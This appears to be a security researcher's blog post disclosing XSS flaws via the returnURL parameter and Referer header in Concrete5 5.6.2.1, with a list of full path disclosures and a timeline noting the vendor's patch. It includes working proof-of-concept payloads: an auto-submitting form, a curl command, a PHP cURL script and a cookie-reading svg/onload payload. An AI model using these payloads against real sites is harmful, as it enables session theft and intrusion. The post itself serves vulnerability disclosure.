While I was playing around with Concrete 5.6.2.1 CMS, I wanted to know how this application shows us a hyperlink to the “Back” button. I found something interesting in the “download_file.php” file.
\concrete\single_pages\download_file.php
line 27
[code language=”php” highlight=”5″]
<form action="<?php echo View::url(‘/download_file’, ‘submit_password’, $fID) ?>" method="post">
<?php if(isset($force)) { ?>
<input type="hidden" value="<?php echo $force ?>" name="force" />
<?php } ?>
<input type="hidden" value="<?php echo $returnURL ?>" name="returnURL" />
<input type="hidden" value="<?php echo $rcID ?>" name="rcID"/>
<label for="password"><?php echo t(‘Password’)?>: <input type="password" name="password" /></label>
<br /><br />
<button type="submit"><?php echo t(‘Download’)?></button>
</form>
[/code]
Let’s have a look at the “$returnURL” variable.
\concrete\single_pages\download_file.php
line 9
[code language=”php” highlight=”9″]
<?php
defined(‘C5_EXECUTE’) or die("Access Denied.");
// File ID = $fID
// get the file and
// Find out where to take the user once they’re done.
// We check for a posted value, to see if this is the users first page load or after submitting a password, etc.
$returnURL = ($_POST[‘returnURL’]) ? $_POST[‘returnURL’] : $_SERVER[‘HTTP_REFERER’];
?>
[/code]
POST XSS
It seems like none of the conditions in the ternary operator seems to be sanitizing input. The ‘returnURL’ is a POST parameter and if it is not supplied then the application takes the value from the Referer header. It’s obvious that a normal user cannot manually inject, we have to automate the attack. For the ‘returnURL’ this is my proof of concept:
[code language=”html”]
<html>
<body>
<form name="exploit" action="http://localhost/index.php/download_file" method="POST">
<input type="hidden" name="returnURL"
value=""><svg/onload=confirm('Hello')>" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
[/code]
Referer XSS
If the POST request fails the application fetches whatever is on the Referer header without any sanitization. You can referrer more information about the Refer header on the RFC 1945 document.
Using cURL we can inject to the referrer header. For example like this:
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0' -H 'Referer: "><svg/onload=alert(0) > \
-b 'CONCRETE5=9i7h9ikeaj6au8f9mgqn3l5gp2; __utma=111872281.2065057763.1392767406.1392767406.1394183386.2; __utmz=111872281.1392767406.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)' \
'http://localhost/conc/concrete5.6.2.1/index.php/download_file'
I’ve made a proof of concept using PHP. For more info about the client URL library visit here http://php.net/manual/en/book.curl.php
[code language=”php”]
<?php
echo geturl(‘http://localhost/conc/concrete5.6.2.1/index.php/download_file’, ‘"><script>prompt("XSS")</script>’);
function geturl($url, $referer) {
$headers[] = ‘Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml’;
$headers[] = ‘Connection: Keep-Alive’;
$headers[] = ‘Content-type: application/x-www-form-urlencoded;charset=UTF-8’;
$useragent = ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)’;
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $useragent);
curl_setopt($process, CURLOPT_REFERER, $referer);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
?>
[/code]
We can also inject into the referer header like this. But works only with IExplorer since other web browsers encode the parameters passed to the URL.
[code language=”html”]
<html>
<body>
<form id="exploit" name="exploit" method="GET"
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
</form>
<script>
document.getElementById("exploit").submit();
</script>
</body>
</html>
[/code]
Save it as “xss.htm” and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie) >//
Full Path Disclosures
These are few FPD’s I’ve found in the application.
concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php
Demo Video
This is short video demonstrating the above vulnerabilities.
Disclosure Time Line
2014-03-16: Responsibly disclosed to the vendor (Vendor’s website too was affected)
– Patched in 5.6.3 and the latest versions
– https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/
https://osandamalith.com/wp-content/uploads/2014/03/hof3.png
nice find machoo (Y) 😀
Such security, much sanitization, many fixes. Wow
Awsome Work bro 😀
Really Nice Bro.
I need to learn from this
Great bro ! 😀
Great analysis. Great techniques.
great 😮